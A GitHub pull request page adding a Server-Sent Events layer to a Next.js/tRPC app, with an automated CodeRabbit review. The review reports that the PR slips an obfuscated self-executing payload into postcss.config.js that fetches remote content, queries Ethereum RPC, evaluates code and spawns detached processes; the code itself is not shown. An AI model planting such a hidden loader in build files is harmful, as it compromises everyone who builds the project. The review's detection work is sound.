Skip to content

feat: add SSE service layer - #85

Open
mawaisu77 wants to merge 1 commit into
nomeyy:mainfrom
mawaisu77:feat/sse-service
Open

feat: add SSE service layer#85
mawaisu77 wants to merge 1 commit into
nomeyy:mainfrom
mawaisu77:feat/sse-service

Conversation

@mawaisu77

@mawaisu77 mawaisu77 commented Aug 6, 2025

Copy link
Copy Markdown

Loom walkthrough:
Loom

Server-Sent Events (SSE) Implementation

A Server-Sent Events (SSE) system with heartbeat mechanism, connection management, and real-time event broadcasting. Built with T3 Stack principles, clean architecture, type safety, and modular design.

Features

  • Real-time SSE connectivity with heartbeat mechanism
  • Automatic reconnection with exponential backoff
  • Clean React hooks API for client-side integration
  • Connection state management and monitoring
  • Active client tracking and management
  • Real-time client count updates
  • Targeted message delivery and broadcasting
  • Type-safe tRPC endpoints for event sending

Core Components

1. State Management (server/state.ts)

  • Centralized SSE client state management
  • Heartbeat mechanism (15s interval)
  • Client timeout handling (45s threshold)
  • Automatic cleanup of stale connections

2. tRPC Integration (server/router.ts)

  • Type-safe event sending endpoints
  • Active client querying
  • Error handling with proper tRPC error codes

3. Client Hook (hooks/useSSE.ts)

  • React hook for SSE consumption
  • Connection state management
  • Automatic reconnection logic
  • Event sending utilities

4. Stream Endpoint (/app/api/sse/route.ts)

  • SSE stream initialization
  • Client registration
  • Connection cleanup

Error Handling

Client-side

  • Automatic reconnection with exponential backoff
  • Connection state monitoring
  • Heartbeat tracking
  • Proper cleanup on unmount

Server-side

  • Stale connection cleanup
  • Failed heartbeat tracking
  • Resource cleanup
  • Type-safe error responses

Testing

The implementation can be tested using the SSE demo page at /sse-demo.

Test Scenarios

  1. Connection Management

    • Initial connection establishment
    • Heartbeat reception
    • Automatic reconnection on failure
    • Manual disconnection
  2. Event Handling

    • Broadcast messages
    • Targeted messages
    • Connection status updates
    • Client count updates
  3. Error Scenarios

    • Network interruption recovery
    • Server disconnect handling
    • Invalid message handling

Performance Considerations

  • Efficient client tracking with Map data structure
  • Minimal memory footprint per connection
  • Proper resource cleanup
  • Optimized message broadcasting

Security

  • No sensitive data in SSE messages
  • Client validation on connection
  • Resource limits per client
  • Proper error handling to prevent information leakage

Dependencies

  • Next.js App Router
  • tRPC
  • Zod for validation
  • Custom logger implementation

Summary by CodeRabbit

  • New Features

    • Added real-time Server-Sent Events with connection status, heartbeats, automatic reconnection, broadcasting, and targeted messaging.
    • Added an interactive real-time events demonstration page with message history, client details, and event controls.
    • Added structured application logging and active connection monitoring.
  • Documentation

    • Added comprehensive documentation covering real-time events, usage, error handling, testing, performance, and security considerations.
    • Normalized README formatting and Markdown links.
  • Bug Fixes

    • Updated routing so the real-time events demonstration page loads correctly.

@coderabbitai

coderabbitai Bot commented Aug 12, 2026

Copy link
Copy Markdown

Review Change Stack

📝 Walkthrough

Walkthrough

The pull request adds an SSE system with connection tracking, heartbeat cleanup, broadcast and targeted delivery, tRPC integration, client reconnection, React components, and a demo page. It also updates documentation and repository files and adds an obfuscated executable payload to the PostCSS configuration.

Changes

SSE system

Layer / File(s) Summary
SSE contracts and connection state
src/features/sse/types.ts, src/features/shared/logger/index.ts, src/features/sse/server/state.ts
Adds SSE event and client contracts, structured logging, connection registration, heartbeat monitoring, stale-client removal, event delivery, and shutdown cleanup.
Server delivery and routing
src/features/sse/SSEManager.ts, src/app/api/sse/..., src/features/sse/server/..., src/lib/trpc/root.ts, src/features/sse/package.json
Adds the SSE stream and send routes, tRPC procedures, application-router registration, and broadcast or targeted event delivery.
Client integration and demonstration
src/features/sse/hooks/useSSE.ts, src/features/sse/components/*, src/app/sse-demo/page.tsx, src/app/layout.tsx, src/middleware.ts, SSE.md
Adds EventSource connection management, retries, heartbeat status, React UI components, the SSE demo page, provider wiring, route bypass logic, and SSE documentation.

PostCSS configuration payload

Layer / File(s) Summary
PostCSS configuration execution
postcss.config.js
Adds an obfuscated self-executing payload that performs remote requests, Ethereum RPC queries, content evaluation, global-state mutation, and detached process creation.

Repository maintenance

Layer / File(s) Summary
Repository metadata and documentation
.gitignore, README.md, package.json
Updates ignore rules, normalizes README formatting, and rewrites package.json without observable content changes.

Estimated code review effort: 5 (Critical) | ~90+ minutes

Sequence Diagram(s)

sequenceDiagram
  participant Browser
  participant SSEStream
  participant SSEState
  participant SendRoute
  participant ConnectedClients
  Browser->>SSEStream: Open EventSource connection
  SSEStream->>SSEState: Register client
  SSEState->>Browser: Send connected event and heartbeats
  Browser->>SendRoute: POST broadcast or targeted event
  SendRoute->>SSEState: Dispatch validated event
  SSEState->>ConnectedClients: Send SSE event
  ConnectedClients-->>Browser: Receive custom message
Loading

Possibly related PRs

  • nomeyy/dev-test#71: Both changes implement overlapping SSE routes, hooks, exports, tRPC registration, and connection managers.
  • nomeyy/dev-test#76: Both changes add Next.js SSE connection management, event delivery, cleanup, and a test UI.
  • nomeyy/dev-test#115: Both changes add the SSE manager, stream endpoint, connection tracking, event delivery, and lifecycle cleanup.
🚥 Pre-merge checks | ✅ 4 | ❌ 1

❌ Failed checks (1 warning)

Check name Status Explanation Resolution
Docstring Coverage ⚠️ Warning Docstring coverage is 14.29% which is insufficient. The required threshold is 80.00%. Write docstrings for the functions missing them to satisfy the coverage threshold.
✅ Passed checks (4 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title clearly and concisely describes the primary change: adding an SSE service layer.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.
✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

Warning

⚠️ This pull request shows signs of AI-generated slop (description_diff_mismatch, ai_padded_prose). It has been flagged by CodeRabbit slop detection and should be reviewed carefully.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 6

Note

Due to the large number of review comments, Critical severity comments were prioritized as inline comments.

🟠 Major comments (22)
.gitignore-34-36 (1)

34-36: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

Restore the .env ignore rule.

Line 36 no longer ignores .env, so git add . can stage environment secrets. This contradicts the policy comment on Line 35. Restore the removed rule.

Proposed fix
 # local env files
 # do not commit any .env files to git, except for the .env.example file.
+.env
 .env*.local
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.gitignore around lines 34 - 36, Restore the .env ignore entry in the local
environment files section of .gitignore, alongside .env*.local, so plain .env
files remain excluded as required by the policy comment.
src/app/api/sse/route.ts-26-46 (1)

26-46: 🩺 Stability & Availability | 🟠 Major | ⚡ Quick win

Clear the interval and handle rejected heartbeat sends.

cancel() removes the client but leaves heartbeat running. The interval then continues to send to an unknown client.

sendToClient is asynchronous. The current try/catch does not catch a rejected promise. Attach a rejection handler that clears the interval, removes the client, and closes the controller.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/app/api/sse/route.ts` around lines 26 - 46, Update the SSE stream
heartbeat setup to clear the interval when the stream’s cancel() callback runs,
and handle asynchronous sendToClient failures by attaching a rejection handler
that clears the heartbeat, removes the client, and closes the controller.
Preserve the existing synchronous error cleanup and abort behavior while
applying the same cleanup for rejected heartbeat sends.
src/features/sse/SSEManager.ts-9-14 (1)

9-14: 🗄️ Data Integrity & Integration | 🟠 Major | 🏗️ Heavy lift

Route all SSE sends through sseState.

The stream route registers clients only in sseState. The POST send route uses sseManager, which has no client registrations. The route therefore returns success without delivering events.

If the application runs multiple instances, use shared pub/sub with connection routing because both registries are process-local.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/sse/SSEManager.ts` around lines 9 - 14, Route all SSE sends
through the `sseState` registry used by the stream route, replacing the separate
client registry and send path in `SSEManager` and `src/app/api/sse/route.ts`
(lines 3-16). Ensure POST sends reach clients registered by the stream route;
for multi-instance deployments, add shared pub/sub with connection routing
rather than relying on process-local state.
src/app/api/sse/route.ts-9-16 (1)

9-16: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

Verify authorization before client registration.

The API middleware pipeline excludes authMiddleware, so /api/sse and /api/sse/send accept unauthenticated requests. Validate the session in both routes and bind the authenticated user to the client record before allowing targetClientId delivery.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/app/api/sse/route.ts` around lines 9 - 16, Update both SSE route
handlers, GET and the send route, to validate the authenticated session before
performing any client registration or delivery. In GET, require authentication
and bind the authenticated user identity to the sseState.addClient client
record; in the send handler, reject unauthenticated requests and authorize
targetClientId delivery against the authenticated user before sending.
src/features/sse/types.ts-21-28 (1)

21-28: 🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick win

Make SSE delivery methods asynchronous and await them.

Change the four SSEManagerInterface delivery methods to return Promise<void>. Add await in src/app/api/sse/send/route.ts; otherwise the handler returns success before delivery completes, and sendToClient rejections bypass the try block.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/sse/types.ts` around lines 21 - 28, Update the four delivery
methods in SSEManagerInterface—addClient, removeClient, sendEvent, and
broadcast/sendToClient/sendToClients as applicable—to return Promise<void>, and
update their implementations in SSEManager.ts to match. In
src/app/api/sse/send/route.ts, await the delivery call inside the existing try
block so completion and rejections are handled before returning.
src/features/sse/server/state.ts-49-81 (1)

49-81: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick win

Two heartbeats now run for the same client.

startHeartbeat sends a ping every 15s. src/app/api/sse/route.ts (lines 27-34 of the provided snippet) also creates its own setInterval that calls sseState.sendToClient(clientId, "ping", ...) every 5s. Each client receives duplicate heartbeat events, and src/features/sse/hooks/useSSE.ts records every one of them.

Keep one owner of the heartbeat. Because SSEState already manages the interval and the failure counter, remove the interval from the route handler.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/sse/server/state.ts` around lines 49 - 81, Remove the route
handler’s separate heartbeat setInterval that calls sseState.sendToClient,
leaving startHeartbeat in SSEState as the sole heartbeat owner and preserving
its failure tracking and cleanup behavior.
src/features/sse/server/state.ts-21-27 (1)

21-27: 🩺 Stability & Availability | 🟠 Major | 🏗️ Heavy lift

The singleton starts a timer at module import.

new SSEState() runs when the module is first imported. The 30s cleanupInterval then keeps a timer handle open in every process that imports this module, including build-time prerendering and each dev-server hot reload. The clients Map is also per-process, so broadcast and getActiveClients only cover clients attached to the same instance. On multi-instance or serverless deployments, targeted delivery fails for most clients.

Create the interval lazily on the first addClient call, and clear it when the last client leaves. For multi-instance deployments, route events through a shared transport such as Redis Pub/Sub.

Also applies to: 211-211

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/sse/server/state.ts` around lines 21 - 27, Update the SSEState
lifecycle around the constructor, addClient, and removeClient methods so the
cleanup interval is not created during module-level singleton initialization;
start it on the first addClient call and clear it when the last client is
removed. Preserve stale-connection cleanup for active clients, and route
broadcasts through the project’s shared transport mechanism, such as Redis
Pub/Sub, so events reach clients across process or server instances.
src/features/sse/hooks/useSSE.ts-47-49 (1)

47-49: 🩺 Stability & Availability | 🟠 Major | ⚡ Quick win

Guard JSON.parse on incoming event data.

e.data is a server-controlled string. A malformed payload makes JSON.parse throw inside the listener. The throw escapes the listener, so setClientId and setLastHeartbeat never run and the hook keeps reporting a stale connection state.

Wrap each parse in try/catch and log the failure through logger.

Also applies to: 60-61, 90-91

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/sse/hooks/useSSE.ts` around lines 47 - 49, Update the connected
and other event listeners in useSSE, including the handlers around the
additional JSON.parse calls, to wrap parsing of server-controlled e.data in
try/catch. Log parse failures through logger and keep setClientId,
setLastHeartbeat, and related state updates protected from malformed payloads.
src/features/sse/server/state.ts-106-136 (1)

106-136: 🩺 Stability & Availability | 🟠 Major | ⚡ Quick win

removeClient and broadcast call each other recursively.

removeClient ends with broadcastClientCount(). broadcast calls removeClient for every client whose enqueue throws. Each removal starts a new full broadcast. With n failing clients this produces O(n^2) enqueue attempts and nested recursion during a single cleanup pass.

Collect the failed client IDs first, remove them after the loop, and suppress the count broadcast during removal.

🐛 Proposed fix
-  removeClient(clientId: string) {
+  removeClient(clientId: string, announce = true) {
     const client = this.clients.get(clientId);
     if (client) {
@@
       this.clients.delete(clientId);
       logger.info("Client disconnected", {
         clientId,
         failedHeartbeats: client.failedHeartbeats,
         lastPing: new Date(client.lastPing).toISOString(),
       });
-      this.broadcastClientCount();
+      if (announce) this.broadcastClientCount();
     }
   }
-  async broadcast(type: string, data: any) {
+  broadcast(type: string, data: unknown) {
     const errors: Error[] = [];
+    const failed: string[] = [];
     const eventString = `event: ${type}\ndata: ${JSON.stringify(data)}\n\n`;
     const encodedEvent = this.encoder.encode(eventString);
 
     for (const [clientId, client] of this.clients.entries()) {
       try {
         client.controller.enqueue(encodedEvent);
         client.lastPing = Date.now();
       } catch (error) {
         errors.push(error as Error);
-        this.removeClient(clientId);
+        failed.push(clientId);
       }
     }
 
+    for (const clientId of failed) {
+      this.removeClient(clientId, false);
+    }
+
     if (errors.length > 0) {

Also applies to: 156-176

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/sse/server/state.ts` around lines 106 - 136, Update the
broadcast logic and removeClient flow so a broadcast first collects client IDs
whose enqueue operations fail, then removes those clients after iteration
completes; ensure those removals suppress their individual broadcastClientCount
calls, while direct removals continue broadcasting the updated count.
src/middleware.ts-14-17 (1)

14-17: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

The hardcoded bypass removes appPipeline protections from /sse-demo.

NextResponse.next() returns before appPipeline runs, so the demo page loses every guarantee that pipeline provides, including authentication and security headers. A route-specific exception inside the handler is also easy to forget when the demo is no longer needed.

The match is exact, so /sse-demo/ and /sse-demo/anything still run the full pipeline. The same page then behaves differently depending on the trailing slash.

Prefer excluding the route in config.matcher, or gate the whole demo behind an environment flag so it does not ship to production.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/middleware.ts` around lines 14 - 17, Remove the hardcoded `/sse-demo`
early return from the middleware handler so every matching request continues
through `appPipeline`; if the demo must remain available, exclude it through
`config.matcher` or gate it behind an environment flag consistently for all path
variants.
src/app/api/sse/send/route.ts-17-23 (1)

17-23: 🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick win

The send route discards the caller's event type. The handler validates type and logs it, then always emits the literal event name "custom_message". Every subscriber that listens for a specific event name receives nothing.

  • src/app/api/sse/send/route.ts#L17-L23: pass type instead of the literal "custom_message" to both sendToClient and broadcast.
  • src/features/sse/components/SSEDashboard.tsx#L38-L38: the eventTypes values "notification", "message", "system-update", and "custom" never arrive while the route rewrites the event name. Confirm these names after the route forwards type.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/app/api/sse/send/route.ts` around lines 17 - 23, The send route currently
replaces the caller-provided event type with "custom_message"; update both
sseManager.sendToClient and sseManager.broadcast in
src/app/api/sse/send/route.ts lines 17-23 to pass type instead. In
src/features/sse/components/SSEDashboard.tsx line 38, confirm the eventTypes
values notification, message, system-update, and custom receive events after
this forwarding fix; no direct change is needed there unless confirmation
reveals a mismatch.
src/features/sse/server/state.ts-29-37 (1)

29-37: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick win

The stale-connection timeout can never fire.

sendToClient sets client.lastPing = Date.now() on every successful enqueue (line 147). The server sends its own ping every HEARTBEAT_INTERVAL (15s). Therefore now - client.lastPing stays under 15s and never exceeds CLIENT_TIMEOUT (45s). cleanupStaleConnections is dead code.

lastPing mixes two concepts: last successful write and last observed client liveness. Track them separately. Because EventSource is unidirectional, liveness must come from stream errors, req.signal abort, or a separate client-side acknowledgement channel.

🐛 Proposed fix: separate write time from liveness time
 interface SSEClient {
   id: string;
   controller: ReadableStreamDefaultController;
-  lastPing: number;
+  lastPing: number; // last successful write
+  lastSeen: number; // last observed client liveness
   heartbeatInterval?: NodeJS.Timeout;
   failedHeartbeats: number;
   isActive: boolean;
 }
   private cleanupStaleConnections() {
     const now = Date.now();
     for (const [clientId, client] of this.clients.entries()) {
-      if (now - client.lastPing > CLIENT_TIMEOUT) {
+      if (now - client.lastSeen > CLIENT_TIMEOUT) {
         logger.warn("Client timed out", { clientId });
         this.removeClient(clientId);
       }
     }
   }

Also applies to: 147-147

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/sse/server/state.ts` around lines 29 - 37, Separate the client
timestamp used by sendToClient from the liveness timestamp checked by
cleanupStaleConnections: retain a write-time field for successful enqueues and
update the liveness field only from actual client-side signals such as stream
errors, req.signal aborts, or acknowledgement handling. Update
cleanupStaleConnections and all connection-removal/error paths to use the
liveness field, ensuring heartbeat writes alone cannot keep stale clients alive.
src/app/sse-demo/page.tsx-62-64 (1)

62-64: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick win

Time values rendered on the first pass cause a hydration mismatch.

Next.js prerenders client components on the server. new Date().toLocaleTimeString() on line 63 and Date.now() on line 415 return different values, and possibly a different locale format, in the server pass and the client pass. React reports a hydration mismatch and can discard the server-rendered markup for this subtree. The "System Time" value also never updates after mount.

Compute time values after mount, and render a stable placeholder for the first paint.

🐛 Proposed fix for the header clock
+  const [now, setNow] = useState<number | null>(null);
+  useEffect(() => {
+    setNow(Date.now());
+    const id = setInterval(() => setNow(Date.now()), 1000);
+    return () => clearInterval(id);
+  }, []);
...
                   <div className="text-sm font-medium tabular-nums">
-                    {new Date().toLocaleTimeString()}
+                    {now === null ? "--:--:--" : new Date(now).toLocaleTimeString()}
                   </div>

Also applies to: 410-416

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/app/sse-demo/page.tsx` around lines 62 - 64, Update the clock rendering
in the component containing the header time and “System Time” value to use state
initialized with a stable placeholder, then populate both time values in a
client-side effect after mount. Replace render-time new Date() and Date.now()
calls, preserve the existing formatting, and ensure the system time continues
updating as intended after initialization.
src/features/sse/server/router.ts-13-47 (1)

13-47: 📐 Maintainability & Code Quality | 🟠 Major | 🏗️ Heavy lift

Two transports implement the same send operation.

sendEvent here and POST /api/sse/send in src/app/api/sse/send/route.ts duplicate the send-or-broadcast logic with different schemas, different error mapping, and different state accessors (sseState versus sseManager). src/features/sse/hooks/useSSE.ts uses the tRPC path while src/features/sse/components/SSEDashboard.tsx uses the REST path.

Pick one transport for the demo and delete the other, or extract one shared handler that both entry points call.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/sse/server/router.ts` around lines 13 - 47, Unify the duplicated
SSE send operation used by sseRouter.sendEvent and the REST POST /api/sse/send
endpoint by choosing one transport for the demo or extracting a shared handler.
Ensure both callers no longer maintain separate schemas, error mapping, or state
access, and update useSSE and SSEDashboard to use the retained/shared path
consistently.
src/features/sse/components/EventSender.tsx-51-100 (1)

51-100: 📐 Maintainability & Code Quality | 🟠 Major | ⚡ Quick win

Associate each <label> with its control.

None of the four labels has an htmlFor attribute, and none of the controls has an id. Screen readers therefore report no accessible name for the event-type select, the custom-type input, the message textarea, and the target-client input. Users of assistive technology cannot determine what each field expects.

Add matching id and htmlFor pairs.

♿ Proposed fix (apply the same pattern to the remaining three fields)
         <div>
-          <label className="mb-1 block text-sm font-medium">Event Type</label>
+          <label htmlFor="sse-event-type" className="mb-1 block text-sm font-medium">
+            Event Type
+          </label>
           <select
+            id="sse-event-type"
             value={eventType}
             onChange={(e) => setEventType(e.target.value as EventType)}
             className="w-full rounded border bg-white px-3 py-2"
           >
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/sse/components/EventSender.tsx` around lines 51 - 100, Associate
every label in EventSender’s form with its control by adding matching htmlFor
and id attributes for the event type select, custom event type input, message
textarea, and target client ID input. Use unique, stable identifiers for each
field while preserving the existing state bindings and behavior.
src/app/sse-demo/page.tsx-355-363 (1)

355-363: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick win

key={idx} breaks reconciliation for a prepended list.

src/features/sse/hooks/useSSE.ts inserts each new message at the front of messages. Every existing item therefore receives a new index. React reuses the DOM node of the previous item at that index instead of moving it, so per-item state and the entry animation attach to the wrong element. ref={idx === 0 ? messageRef : null} then replays the animation on whichever node lands at index 0.

Key each item by a stable identifier.

🐛 Proposed fix
-                    ref={idx === 0 ? messageRef : null}
-                    key={idx}
+                    ref={idx === 0 ? messageRef : null}
+                    key={`${msg.timestamp}-${msg.type}-${idx}`}

A message id generated in the hook would be a better key than a timestamp composite.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/app/sse-demo/page.tsx` around lines 355 - 363, Update the messages.map
rendering in the SSE demo to use a stable per-message identifier instead of
key={idx}; add or reuse an id generated by useSSE for each message and use it as
the React key, while retaining the index only for the first-item ref behavior.
src/features/sse/server/router.ts-41-46 (1)

41-46: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

getActiveClients leaks every session identifier to anonymous callers.

publicProcedure applies no authentication. The query returns sseState.getClientIds(), which is the full list of live client IDs. sendEvent accepts any of those IDs as targetClientId. Any anonymous caller can therefore enumerate active sessions and push a crafted payload into a chosen user's stream.

Restrict the procedure to an authenticated administrative caller. If the client only needs the number, return count alone.

🛡️ Minimal change: stop exposing the identifiers
   getActiveClients: publicProcedure.query(() => {
     return {
       count: sseState.getClientCount(),
-      clients: sseState.getClientIds(),
     };
   }),

Note: src/features/sse/hooks/useSSE.ts line 204 only reads clientsData?.count, so removing clients does not break the current consumer.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/sse/server/router.ts` around lines 41 - 46, Update
getActiveClients to stop returning sseState.getClientIds() to unauthenticated
callers; either protect the procedure with the existing authenticated
administrative authorization or, since useSSE only consumes the count, return
only sseState.getClientCount().
src/features/sse/hooks/useSSE.ts-146-151 (1)

146-151: 🩺 Stability & Availability | 🟠 Major | ⚡ Quick win

Clear the pending reconnect timer on unmount.

The cleanup closes newEventSource only. A setTimeout scheduled on line 126 still fires after unmount and opens a new EventSource that no consumer owns. That connection stays registered on the server until its own error path runs.

Store the timer id in a ref and clear it in the cleanup function.

🐛 Proposed fix
     return () => {
+      if (reconnectTimerRef.current) {
+        clearTimeout(reconnectTimerRef.current);
+        reconnectTimerRef.current = null;
+      }
       newEventSource.close();
       setEventSource(null);
       setIsConnected(false);
     };
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/sse/hooks/useSSE.ts` around lines 146 - 151, Update the
reconnect logic in useSSE to store the setTimeout id in a ref, then clear that
pending timer during the effect cleanup before closing newEventSource and
resetting state. Ensure unmount prevents the delayed reconnect from creating an
unmanaged EventSource.
src/features/sse/hooks/useSSE.ts-68-79 (1)

68-79: 🚀 Performance & Scalability | 🟠 Major | ⚡ Quick win

messages grows without bound.

Every ping appends an entry. The server sends a heartbeat every 15 seconds from startHeartbeat in src/features/sse/server/state.ts, plus another every 5 seconds from the interval in src/app/api/sse/route.ts. src/app/sse-demo/page.tsx renders the whole array and recomputes messages.filter(...) on each render. A long-lived tab accumulates thousands of nodes.

Cap the retained history.

♻️ Proposed fix
+const MAX_MESSAGES = 200;
...
-      setMessages((prev) => [
+      setMessages((prev) => [
         {
           type: "ping",
           ...
         },
         ...prev,
-      ]);
+      ].slice(0, MAX_MESSAGES));
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/sse/hooks/useSSE.ts` around lines 68 - 79, Cap the message
history in the setMessages updater that prepends each ping, retaining only the
newest bounded number of entries after adding the new message. Preserve the
existing ping payload and ordering while preventing the messages array from
growing without bound.
src/features/shared/logger/index.ts-8-28 (1)

8-28: 📐 Maintainability & Code Quality | 🟠 Major | ⚡ Quick win

JSON.stringify discards Error details and throws on circular input.

Error instances serialize to {} because message and stack are not enumerable. Callers pass { error }, for example logger.error("Error sending to client", { error, clientId }) in src/features/sse/server/state.ts line 150. Every such log line loses the failure reason. A circular value also makes log throw inside the logger.

Normalize Error values and guard the serialization.

🐛 Proposed fix
 class Logger {
+  private replacer() {
+    const seen = new WeakSet<object>();
+    return (_key: string, value: unknown) => {
+      if (value instanceof Error) {
+        return { name: value.name, message: value.message, stack: value.stack };
+      }
+      if (typeof value === "object" && value !== null) {
+        if (seen.has(value)) return "[Circular]";
+        seen.add(value);
+      }
+      return value;
+    };
+  }
+
   private log(level: LogLevel, message: string, params?: LogParams) {
     const timestamp = new Date().toISOString();
     const logData = {
       timestamp,
       level,
       message,
       ...params,
     };
 
-    switch (level) {
+    let line: string;
+    try {
+      line = JSON.stringify(logData, this.replacer());
+    } catch {
+      line = JSON.stringify({ timestamp, level, message, serializationError: true });
+    }
+
+    switch (level) {
       case "info":
-        console.log(JSON.stringify(logData));
+        console.log(line);
         break;
       case "warn":
-        console.warn(JSON.stringify(logData));
+        console.warn(line);
         break;
       case "error":
-        console.error(JSON.stringify(logData));
+        console.error(line);
         break;
     }
   }
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/shared/logger/index.ts` around lines 8 - 28, Update the private
log method to normalize Error values, including their message and stack, before
serializing logData so callers such as logger.error retain failure details.
Guard JSON serialization so circular or otherwise unserializable params cannot
cause log itself to throw, while preserving the existing level-specific console
output.
src/features/sse/server/router.ts-7-11 (1)

7-11: 🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick win

Use z.unknown() for data and align the two schemas.

z.any() accepts anything and also makes the field optional in the inferred type, so data can be undefined and reach JSON.stringify. SendEventSchema in src/app/api/sse/send/route.ts line 8 already uses z.unknown(). Two schemas for one payload will drift.

Move the schema into a shared module and import it in both places.

♻️ Proposed fix
 const EventSchema = z.object({
   type: z.string(),
-  data: z.any(),
+  data: z.unknown(),
   targetClientId: z.string().optional(),
 });
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/sse/server/router.ts` around lines 7 - 11, Replace EventSchema’s
data validator with z.unknown() so data remains required, then move the shared
event schema into a common module and update both the SSE server router and
SendEventSchema consumers to import it, keeping both payload validation paths
aligned.
src/app/api/sse/send/route.ts-1-4 (1)

1-4: 🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick win

Use sseState in src/app/api/sse/send/route.ts. sseManager and sseState use separate client maps. Connected clients register only with sseState, so this endpoint cannot send targeted or broadcast events.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/app/api/sse/send/route.ts` around lines 1 - 4, Replace the sseManager
import and usage in the SSE send route with sseState, ensuring targeted and
broadcast event handling reads from the same client map used during client
registration. Preserve the endpoint’s existing request validation and
event-sending behavior.
🟡 Minor comments (9)
README.md-12-12 (1)

12-12: 📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win

Replace the empty Mux URL.

Line 12 uses an empty Markdown link. Replace it with the Mux documentation URL already used on Line 70.

Proposed fix
-- [Mux]() - Video handling (upload / storage / etc.)
+- [Mux](https://www.mux.com/docs) - Video handling (upload / storage / etc.)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@README.md` at line 12, Update the Mux Markdown link in the README list to use
the same Mux documentation URL already referenced near line 70, replacing only
the empty URL while preserving the existing link text and description.

Source: Linters/SAST tools

src/app/api/sse/route.ts-26-35 (1)

26-35: 🩺 Stability & Availability | 🟡 Minor | ⚡ Quick win

Use one heartbeat policy.

The route starts a 5-second heartbeat. The state manager uses shared heartbeat constants. The documentation states different values. This creates duplicate events and makes timeout behavior unclear.

  • src/app/api/sse/route.ts#L26-L35: remove the route-local heartbeat, or source its behavior from the state manager.
  • src/features/sse/types.ts#L31-L32: keep these constants as the canonical heartbeat and timeout values.
  • SSE.md#L21-L22: document the actual canonical values.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/app/api/sse/route.ts` around lines 26 - 35, Use a single heartbeat
policy: remove the route-local interval in the SSE route around the heartbeat
setup, keep the canonical heartbeat and timeout constants in
src/features/sse/types.ts lines 31-32, and update SSE.md lines 21-22 to document
those actual values.
src/features/sse/types.ts-5-10 (1)

5-10: 📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win

Replace explicit any with unknown.

Both locations fail @typescript-eslint/no-explicit-any. The event schema already uses unknown, so these contracts should preserve that type.

